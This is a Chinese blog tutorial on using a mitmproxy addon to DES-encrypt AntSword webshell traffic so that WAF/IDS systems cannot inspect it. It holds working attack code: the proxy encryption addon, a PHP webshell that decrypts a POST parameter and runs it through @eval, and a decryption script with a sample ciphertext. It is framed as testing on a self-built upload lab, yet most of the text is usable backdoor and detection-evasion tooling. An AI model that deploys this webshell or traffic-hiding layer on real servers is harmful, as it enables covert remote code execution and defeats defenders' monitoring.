mitmproxy实现流量中转加密
在网络安全与 CTF 场景中,流量往往是攻击分析的重要入口。
如果通信内容以明文传输:
- 容易被抓包分析
- 命令内容暴露
- 行为特征明显
- 易被 WAF / IDS 识别
因此可以引入一种思路:
在客户端与服务器之间加入“代理加密层”,使流量始终以密文形式传输。
什么是MITM代理
如Burp Suite,mitmproxy等都属于MITM (Man-in-the-middle attack,中间人攻击)代理工具。MITM代理是一种网络调试工具,它在客户端和服务器之间充当“中间人”,拦截并双向转发所有流量。核心能力是能解密HTTPS:通过让客户端信任一个本地根证书,代理会动态伪造目标服务器的证书,从而在两端分别建立加密隧道,使自己能读取和修改明文数据。
mitmproxy
mitmproxy 是一款基于 Python 开发的开源中间人代理工具,专门用于拦截、查看、修改和重放 HTTP/HTTPS 流量。核心原理是通过让客户端信任其自签的根证书,动态伪造目标服务器证书来解密 TLS 流量,从而实现对加密请求和响应内容的明文读写与脚本化处理(支持 Python 插件)。
在这里使用MitmProxy作为代理,编写MitmProxy插件对数据进行加解密。
环境配置
安装:
pip install mitmproxy测试运行
这里先选择一个简单的目标:
客户端发送 x=hello ↓mitmproxy 拦截并修改为x=HACKED123 ↓服务器收到修改后的数据创建测试服务器:
from http.server import BaseHTTPRequestHandler, HTTPServerimport urllib.parse
class Handler(BaseHTTPRequestHandler): def do_GET(self): query = urllib.parse.urlparse(self.path).query print("[SERVER收到]", query)
self.send_response(200) self.end_headers() self.wfile.write(b"OK from server")
if __name__ == "__main__": server = HTTPServer(("0.0.0.0", 8000), Handler) print("Server running at http://127.0.0.1:8000") server.serve_forever()这是一个简单的Python HTTP服务器,监听8000端口,收到GET请求后会把查询字符串打印到控制台,并返回”OK from server”。
编写mitmproxy插件:
from mitmproxy import httpimport urllib.parse
class FlowModifier: # 请求拦截(重点) def request(self, flow: http.HTTPFlow):
print("\n========== REQUEST ==========") print("URL:", flow.request.url) print("原始内容:", flow.request.text)
# 解析参数 if "x=" in flow.request.text: parts = flow.request.text.split("x=")
before = parts[0] value = parts[1]
print("[解析参数] x =", value)
# 修改数据 new_value = "HACKED123"
# 回写请求 flow.request.text = before + "x=" + new_value
print("[修改后请求]", flow.request.text)
# 响应拦截 def response(self, flow: http.HTTPFlow):
print("\n========== RESPONSE ==========")
if flow.response: print("原始响应:", flow.response.text)
# 修改响应内容 flow.response.text = "MODIFIED BY MITMPROXY"
print("修改后响应:", flow.response.text)
addons = [ FlowModifier()]创建测试客户端:
import requests
proxies = { "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080",}
url = "http://127.0.0.1:8000/?x=hello"
r = requests.get(url, proxies=proxies)
print("\n========== CLIENT ==========")print(r.text)运行:
启动服务器:
python server.py
正常启动…
启动 mitmproxy:
mitmdump -s proxy.py
尝试不使用代理传入参数:x=hello

可以发现服务器正常响应。
尝试使用代理传参:
curl -x http://127.0.0.1:8080 "http://127.0.0.1:8000/?x=hello"
可以发现请求和响应已经被 mitmproxy 拦截并修改。
服务器返回MODIFIED BY MITMPROXY
应用-Webshell流量加密
在前面的测试中,已经通过 mitmproxy 构建了一个基础的 HTTP 流量拦截与修改环境,实现了对请求参数的读取与篡改,以及对响应内容的动态修改,从而验证了“客户端—代理—服务端”这一完整链路的可控性。
在此基础上进一步引入加密机制,可以将原本明文传输的参数进行编码与加密处理,使得数据在经过代理转发时以密文形式存在,并在服务端完成解密与处理,从而实现一个基于中间代理的 Webshell 流量加密通信模型。
蚁剑流量
大多数webshell客户端工具支持代理功能,以蚁剑为例,其代理功能主要用于将工具产生的所有网络流量通过指定的代理服务器进行转发,核心作用包括突破网络隔离限制以连接内网目标、隐藏操作者真实IP地址以增强隐匿性,以及配合BurpSuite等调试工具进行流量分析与安全测试。
利用mitmproxy 可以将蚁剑传输的数据进行自定义加密后发送给webshell,由webshell解密数据进行执行
mitmproxy插件:
以下是一个DES-ECB的加密插件,将蚁剑发出的明文流量,在中间层进行DES加密后再转发给Webshell,同时解密Webshell返回的加密响应。
import base64import mitmproxy.httpimport pyDesimport randomfrom urllib.parse import quotekey = "password"# 加密def encrypt_str(key,data): # 加密方法 method = pyDes.des(key, pyDes.ECB,pad=None, padmode=pyDes.PAD_PKCS5) # 执行加密码 k = method.encrypt(data) # 转base64编码并返回 return base64.b64encode(k)# 解密def decrypt_str(key,data): method = pyDes.des(key, pyDes.ECB,pad=None, padmode=pyDes.PAD_PKCS5) # 对base64编码解码 k = base64.b64decode(data) # 再执行Des解密并返回 return method.decrypt(k)class Counter: def __init__(self): pass def request(self, flow: mitmproxy.http.HTTPFlow): """ 请求包修改 """ location = str(flow.request.content).find("&x") # 这里的x是连接密码,需要自己修改 if location == -1: # 对测试连接流量进行加密 password = str(flow.request.content).split('=',1)[0] content = str(flow.request.content).split('=',1)[1] # 对传输的代码进行加密 content = bytes(quote(str(encrypt_str(key.encode(encoding="utf-8"), content),encoding="UTF-8")),encoding="UTF-8") can = password + "=" can = bytes(can,encoding="utf-8") content = can + content content = str(content) # 删除content str后产生的多余的字节流标志 content = content.replace("b\"b\'","") else: # 对具体执行的操作进行加密,包括文件相关以及命令相关的所有数据 parameter = str(flow.request.content)[0:location] content = str(flow.request.content)[location + 1:] password = content.split('=',1)[0] content = content.split('=',1)[1] # + parameter content = content.replace("\'&b\'","&") content = bytes(quote(str(encrypt_str(key.encode(encoding="utf-8"), content),encoding="UTF-8")),encoding="UTF-8") can2 = "&" + password + "=" can2 = bytes(can2,encoding="utf-8") parameter = bytes(parameter,encoding="utf-8") content = parameter + can2 + content print(content) content = str(content) # 删除content str后产生的多余的字节流标志 content = content.replace("b\"b\'","") content = content.replace("b\"","") content = content.replace("b\'","")
# 发送加密后的数据 flow.request.content = bytes(content, encoding="utf-8") print(flow.request.content)
def response(self,flow: mitmproxy.http.HTTPFlow): """ 响应包返回 """ print(flow.response.content)addons = [ Counter()]webshell:
接收加密的POST数据,解密后执行PHP代码。
<?php // 加密 function des_encrypt($str, $key) { $block = mcrypt_get_block_size('des', 'ecb'); $pad = $block - (strlen($str) % $block); $str .= str_repeat(chr($pad), $pad); return mcrypt_encrypt(MCRYPT_DES, $key, $str, MCRYPT_MODE_ECB); } // 解密 function des_decrypt($str, $key) { // $str = urldecode($str); $str = base64_decode($str); // echo $str; $str = mcrypt_decrypt(MCRYPT_DES, $key, $str, MCRYPT_MODE_ECB); $len = strlen($str); $block = mcrypt_get_block_size('des', 'ecb'); $pad = ord($str[$len - 1]); $str = urldecode($str); $str = rtrim($str, "\x00..\x1F"); $str = substr($str, 0, -1); // return $str; // echo $str; return substr($str, 0, $len - $pad); } //设置AES秘钥 $key = 'password'; //此处填写前后端共同约定的秘钥 $content = $_POST["x"]; $code = des_decrypt($content, $key); @eval($code); ?>在自建的文件上传靶场中进行测试:

同时使用wireshark进行流量捕获:

开启代理中转:
mitmdump -k -s proxy.py
在蚁剑添加mitmproxy代理,默认端口8080

链接webshell,这里选择明文传输(无编码器):

执行命令访问根目录,
mitmproxy成功运行:

可以发现在wireshrak的捕获中,请求已经通过加密:

在知道加密算法和密钥的情况下进行解密:
import base64from urllib.parse import unquotefrom Crypto.Cipher import DES
# 1. 填入您提供的原始密文流量 (参数 x 的值)raw_cipher_text = "UImx0ha0NVJUxzB6aF5UtN5%2B%2Bs4PWzP8rHKMWjGrMC1PjuDkRynwiafgRls6zuy81wVJHMJlshHyGSjvjjlYyAN%2Bd2rPJ%2BXF2J12zDPsOA7Zm%2BiLfDrYGQRaM8DJCw2jMjBvKTCKPte4AXdMe8QTJYcTFb19yWZOHcxRhqlxT6NBKuIvYgFekk%2BMrJyRXKJE31qkyu03XXcuN%2BoaDHdIRKSeoNXzsnj5Wg45srRQb9NoJYNv8pPVnj7R6LJbt4SGKRTDcf1cEDbWJpaMF4RQE2z0PZwUYNhKN4FN8aF319UJqQGAcDrf16qI9GzgdMvGd22n2WS8LE6tKRxu2fXkuS09%2BmwD1ZjWTTMB%2BgpEMcnsPl1Umamd9ignFbQEZafd%2Bvm6dcPFKFeP5YY2I03JA8/BnujStmSochILbKkxzA3bRhGgxx7DVjMmUD7iEXWklCjv31sxhq8Z271fy1dCtn3YQmFAhIxLkfpPX3Flohe6wyKtWhe64ax/gf5EawRL1zLCNZL%2B0pPBjNZLUslxHyyKaOiMw89iICWJrNcVj32OulajvGQ5GF3EfLO9pnELDSWeaiDVa5UCVT1vk5Pa9xe8HwB78YSY1IjIUN8XeqAE0S6UA/bharEeMX5TLU5bjEkBIifxVvysERVtY2zq/6YZ9b/IZQokZtObYQzEBT8kqGKhMPYsmVcl389eR/i41v4lUDRqxAQYUDmc9urJKTayKAvvTOYVnlv7VjH3lcl76c9wAx%2B76a1HfUdlIgWKU2WQSwx6Yg0ZAXzGQHPMYc5OBR7Ha3FYeC2KVSAsnOtrTu6za5UNsZNOVYs1%2B%2BATjplKfUu4ijBX8xDIDCOHc8ysuyrl7crXNVf48BPelWLo3AgBFJ2R93BA5GPB1XL0ivcRWs4gHGGclZvH8E/5yu3pKLc%2B21hM6uiiq7gRDqemi4z2Z/wE58H%2Bq0U5IoO%2BSm9%2BC/15lQzWW8CgZIZOe/HFDELHc3%2B2Y9dpMN9hVeFHJ7hlgf07q4RDjNH9nHNY/VXpwg1sfNd7IhK3U9F6SzIwbykwij7XiMtUDh6l3A/lSsBH3fPe7baHDnkGyDB3G+oIbrzNbfu6UREiqWxmq4KL9pHLEdys675CUF+dLwKDbejk1dVilHY0QJUYsAY5cvlsPNzJ9VJDLGm437cHbsEwYz+UN1hut5DmsJc0ZKdsyOnWVH10CvVK0ZswAV5lE8q+UgsKAjeEITxFBbcybCnolsHlk+VBPjHXfojD6KK6jAXeJm2xydjbM+Oufowos5twsXCyAuUwNEAUSZkpFehVYVorasq+dEj4nMcH3V7BZ0rXWiPLRbodxDWXoKHudUEC9E1nCvsN3GmxYTdMQUwFQ95g%2BAJ0kCHOaCI9ReuKUt7xND7YjDOPV07g4bD1/Z5p67hmBDjf1s%2B0W2W4QOuhe1P3XFwgzdktF7UEPfqP14Hrkej0e2Yfe2xUlsWEcQciQ5p74alfMwxf6GZ6HFqkgRAcc/9klV589ecd4aro156M%2B%2Bf/CtZ23GR31T1l0EyWcyhXUBdlOu2CBjxhc8KPwEzVVM7PniFu9XEV9S3/WAzby%2BGzO3k6ibaprUhrmALWPc7Vd0kVKEMPL61NiohUTr2lpMIvf8SQs6jUmfJG%2BrGmKyc1IegvhCgdadn9Cos1e/SVWn2uAdMJaPV8bdHVAsgnBWvH2LEfi7hfUh2WQ93PtjfDVwvZOt1rceez90iTiwEKAHU4yf0%2Bjq4w9kzT1S6HCH/U8yaB43iD8K5%2BxUNW8a6b7ovXOGRko3Y6Jt34z3SYJobD2Bh2Nz5a6v0rv4OoTqTIlCmN54NJIiyWz7QyANDwtgGgrkyINdhizYlmezxwU5vfgrgJJvrXmA3mwBxZouDAdVJcpQnJKjsHLC67xjqFxWLL2VK9ncn/uWiYho24CW3sVh2z%2BPKzpm%2BRk3K2Pu6/Hl7uIDTY4Na%2BIXEoZFBUXSLPwJr1kxVB1KnnNyu19ndStC/DdIiXDv7iP37cE4sQT2Rlmano9hSmJZUzQsqJAm2bniude3lnMKHQevSvBCJ4sOy2wih/R//axzJGRkYZVYPujXqlwWkoYijlugX3//chRTDXVeviFbE7LDg%2BAyR0GaMcNrIys3%2B%2BfEBdVbFv8EY/slWMhTFgBaSIpAUc1NI70pCX5rIQmo/XpDBVTQlh03UEiAuUtucpwF5qIUUEgMQBUox9/lFVdaRD/ttgMMJfebwV/RnoxJ8njhNNgZmVELd7UokkaErSkp0amXJslCBQ90nLk5HVMpsGdo27owqhNCQLg2t0umm%2BpoaxzirqqYcbNOBrHTOPV07g4bD1hgYsVQ3%2BJewsiie1Q/VGsoA0EnHWab3TQmnZMDDGdj6fbY6IrDGCs7whU%2Bu4gZcGOLaDqiRJoC/HgegDvrFXRqiTrzob5sTe"
# 2. 进行 URL 解码url_decoded = unquote(raw_cipher_text)
# 3. 进行 Base64 解码获取二进制密文encrypted_bytes = base64.b64decode(url_decoded)
# 4. 设置 DES-ECB 密钥 (8字节)key = b"password"
try: # 5. 初始化解密器并解密 cipher = DES.new(key, DES.MODE_ECB) decrypted_bytes = cipher.decrypt(encrypted_bytes)
# 6. 移除 PKCS7 或 Zero 填充 (WebShell 常用填充处理) # 尝试打印明文 print("--- 解密成功,明文内容如下 ---") print(decrypted_bytes.decode('utf-8', errors='ignore'))except Exception as e: print(f"解密失败,请检查密钥或密文完整性: {e}")
如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时





